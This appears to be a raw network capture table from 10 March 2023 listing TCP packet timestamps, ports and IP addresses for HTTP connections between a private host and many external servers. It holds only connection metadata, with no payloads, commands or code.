Mar 10, 2023 07:55:11.266803980 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266833067 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266849995 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.266911983 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.266953945 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267034054 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267081976 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267159939 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267215014 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267287016 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267332077 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267419100 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267465115 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267505884 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267554045 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267579079 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267627001 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267723083 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267761946 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267772913 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267813921 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267879963 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267915010 CET	80	49975	62.75.216.137	192.168.2.6
Mar 10, 2023 07:55:11.267942905 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.267960072 CET	49975	80	192.168.2.6	62.75.216.137
Mar 10, 2023 07:55:11.284002066 CET	80	49978	213.186.33.17	192.168.2.6
Mar 10, 2023 07:55:11.284136057 CET	49978	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:55:11.284926891 CET	49978	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:55:11.315466881 CET	80	49978	213.186.33.17	192.168.2.6
Mar 10, 2023 07:55:11.315534115 CET	80	49978	213.186.33.17	192.168.2.6
Mar 10, 2023 07:55:11.315562963 CET	80	49978	213.186.33.17	192.168.2.6
Mar 10, 2023 07:55:11.315687895 CET	49978	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:55:11.315687895 CET	49978	80	192.168.2.6	213.186.33.17
Mar 10, 2023 07:55:11.416599989 CET	80	49977	211.1.226.67	192.168.2.6
Mar 10, 2023 07:55:11.416742086 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:11.431853056 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:11.523390055 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:11.575809956 CET	49980	80	192.168.2.6	5.196.166.214
Mar 10, 2023 07:55:11.612381935 CET	80	49980	5.196.166.214	192.168.2.6
Mar 10, 2023 07:55:11.612664938 CET	49980	80	192.168.2.6	5.196.166.214
Mar 10, 2023 07:55:11.613253117 CET	49980	80	192.168.2.6	5.196.166.214
Mar 10, 2023 07:55:11.622231007 CET	80	49979	192.241.158.94	192.168.2.6
Mar 10, 2023 07:55:11.622414112 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:11.622910976 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:11.649667978 CET	80	49980	5.196.166.214	192.168.2.6
Mar 10, 2023 07:55:11.649713039 CET	80	49980	5.196.166.214	192.168.2.6
Mar 10, 2023 07:55:11.649782896 CET	49980	80	192.168.2.6	5.196.166.214
Mar 10, 2023 07:55:11.649811983 CET	49980	80	192.168.2.6	5.196.166.214
Mar 10, 2023 07:55:11.707472086 CET	80	49961	93.187.206.66	192.168.2.6
Mar 10, 2023 07:55:11.707586050 CET	49961	80	192.168.2.6	93.187.206.66
Mar 10, 2023 07:55:11.721043110 CET	80	49979	192.241.158.94	192.168.2.6
Mar 10, 2023 07:55:11.721168995 CET	80	49979	192.241.158.94	192.168.2.6
Mar 10, 2023 07:55:11.721252918 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:11.726628065 CET	80	49977	211.1.226.67	192.168.2.6
Mar 10, 2023 07:55:11.726928949 CET	80	49977	211.1.226.67	192.168.2.6
Mar 10, 2023 07:55:11.727004051 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:11.746576071 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.763341904 CET	80	49981	188.114.97.3	192.168.2.6
Mar 10, 2023 07:55:11.763461113 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.764101982 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.776124001 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:11.778085947 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:11.780905008 CET	80	49981	188.114.97.3	192.168.2.6
Mar 10, 2023 07:55:11.789268970 CET	80	49981	188.114.97.3	192.168.2.6
Mar 10, 2023 07:55:11.789419889 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.791363001 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.812381029 CET	80	49981	188.114.97.3	192.168.2.6
Mar 10, 2023 07:55:11.812594891 CET	49981	80	192.168.2.6	188.114.97.3
Mar 10, 2023 07:55:11.874363899 CET	80	49979	192.241.158.94	192.168.2.6
Mar 10, 2023 07:55:11.874536037 CET	49979	80	192.168.2.6	192.241.158.94
Mar 10, 2023 07:55:12.072541952 CET	80	49977	211.1.226.67	192.168.2.6
Mar 10, 2023 07:55:12.072705984 CET	49977	80	192.168.2.6	211.1.226.67
Mar 10, 2023 07:55:12.330401897 CET	49982	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:55:12.347103119 CET	80	49982	104.21.55.224	192.168.2.6
Mar 10, 2023 07:55:12.347234964 CET	49982	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:55:12.349497080 CET	49982	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:55:12.352355957 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.366617918 CET	80	49982	104.21.55.224	192.168.2.6
Mar 10, 2023 07:55:12.368972063 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.369138002 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.371335030 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.376673937 CET	80	49982	104.21.55.224	192.168.2.6
Mar 10, 2023 07:55:12.377962112 CET	49982	80	192.168.2.6	104.21.55.224
Mar 10, 2023 07:55:12.388287067 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.479712963 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:12.638026953 CET	80	49971	173.254.28.29	192.168.2.6
Mar 10, 2023 07:55:12.638170958 CET	49971	80	192.168.2.6	173.254.28.29
Mar 10, 2023 07:55:12.644836903 CET	80	49984	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:12.645142078 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:12.645579100 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:12.664700985 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.664783955 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.664844036 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.664894104 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.664928913 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.664941072 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.664993048 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665002108 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.665055990 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665062904 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.665124893 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665173054 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665182114 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.665241957 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665273905 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.665312052 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.665483952 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665527105 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.665594101 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.675968885 CET	49985	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.683828115 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.683919907 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684010983 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684057951 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684107065 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684158087 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684180021 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.684233904 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684269905 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.684286118 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.684308052 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684365988 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684418917 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.684910059 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.684988976 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.685041904 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.685090065 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.685125113 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.685141087 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.685144901 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.685646057 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.685960054 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.686019897 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.686091900 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.686144114 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.686193943 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.686203003 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.686250925 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.686265945 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.686950922 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.687031984 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.687098026 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.687161922 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.687166929 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.687218904 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.687228918 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.687268019 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.688059092 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.701245070 CET	80	49985	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.701391935 CET	49985	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.701807976 CET	49985	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.703861952 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.703934908 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.703988075 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704036951 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704129934 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704168081 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704185009 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704236031 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704240084 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704297066 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704576015 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704642057 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704648018 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704720020 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704781055 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704794884 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704853058 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704870939 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.704948902 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.704982042 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705033064 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705087900 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.705715895 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705771923 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705836058 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705845118 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.705893993 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.705912113 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.705965996 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706024885 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.706686974 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706768036 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706818104 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706849098 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.706902981 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706959009 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.706965923 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.707087040 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.707667112 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.707720041 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.707802057 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.707850933 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.707854986 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.707906008 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.707910061 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.707978010 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.708712101 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.708765984 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.708818913 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.708839893 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.708839893 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.708898067 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.708925009 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.708949089 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709000111 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.709695101 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709749937 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709800005 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709824085 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.709851980 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709891081 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.709901094 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.709906101 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.710597992 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.710670948 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.710673094 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.710743904 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.710792065 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.710798979 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.710843086 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.710890055 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.712332010 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.712393045 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.712476015 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.712574005 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.712605000 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.725936890 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.725979090 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726011038 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726046085 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726079941 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726105928 CET	80	49985	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.726214886 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.726214886 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.726383924 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726422071 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726454020 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726490021 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.726572037 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.726612091 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.726841927 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.727055073 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.727391005 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.727427006 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.727459908 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.727494955 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.727607965 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.727647066 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.727823973 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728377104 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728413105 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728446007 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728481054 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728516102 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.728565931 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.728604078 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.729372978 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.729413986 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.729470015 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.729520082 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.729578972 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.729607105 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.729646921 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.730355978 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.730417967 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.730489016 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.730525017 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.730544090 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.730560064 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.730581999 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.730597019 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.730650902 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.731189013 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.731225967 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.731276035 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.731322050 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.731359005 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.731395006 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.731425047 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.732132912 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.732172012 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.732206106 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.732239962 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.732316017 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.732321024 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.732341051 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.732564926 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.733122110 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.733163118 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.733196020 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.733231068 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.733263969 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.733283997 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.733345985 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.733345985 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.734405041 CET	80	49983	104.26.10.81	192.168.2.6
Mar 10, 2023 07:55:12.734644890 CET	49983	80	192.168.2.6	104.26.10.81
Mar 10, 2023 07:55:12.735893011 CET	80	49985	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.736433029 CET	80	49985	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.736535072 CET	49985	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.736738920 CET	49985	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.738370895 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.761316061 CET	80	49985	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.763058901 CET	80	49986	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.763199091 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.763564110 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.788408041 CET	80	49986	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.798857927 CET	80	49986	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.799189091 CET	80	49986	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.799220085 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.799259901 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.803534985 CET	49986	80	192.168.2.6	81.171.22.7
Mar 10, 2023 07:55:12.810906887 CET	80	49984	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:12.810940981 CET	80	49984	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:12.811093092 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:12.828994989 CET	80	49986	81.171.22.7	192.168.2.6
Mar 10, 2023 07:55:12.934356928 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:13.021960020 CET	49987	80	192.168.2.6	64.125.133.18
Mar 10, 2023 07:55:13.099701881 CET	80	49984	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:13.100003958 CET	80	49984	69.163.239.62	192.168.2.6
Mar 10, 2023 07:55:13.100122929 CET	49984	80	192.168.2.6	69.163.239.62
Mar 10, 2023 07:55:13.427603960 CET	49988	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:55:13.555329084 CET	80	49988	72.44.93.236	192.168.2.6
Mar 10, 2023 07:55:13.555516958 CET	49988	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:55:13.556113005 CET	49988	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:55:13.683634043 CET	80	49988	72.44.93.236	192.168.2.6
Mar 10, 2023 07:55:13.685154915 CET	80	49988	72.44.93.236	192.168.2.6
Mar 10, 2023 07:55:13.685250044 CET	49988	80	192.168.2.6	72.44.93.236
Mar 10, 2023 07:55:14.064688921 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.209248066 CET	49990	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:14.210628986 CET	80	49989	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:14.210752964 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.213136911 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.337656975 CET	80	49990	66.94.119.160	192.168.2.6
Mar 10, 2023 07:55:14.338047981 CET	49990	80	192.168.2.6	66.94.119.160
Mar 10, 2023 07:55:14.359143019 CET	80	49989	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:14.359523058 CET	80	49989	104.196.26.65	192.168.2.6
Mar 10, 2023 07:55:14.359658003 CET	49989	80	192.168.2.6	104.196.26.65
Mar 10, 2023 07:55:14.392679930 CET	49990	80	192.168.2.6	66.94.119.160
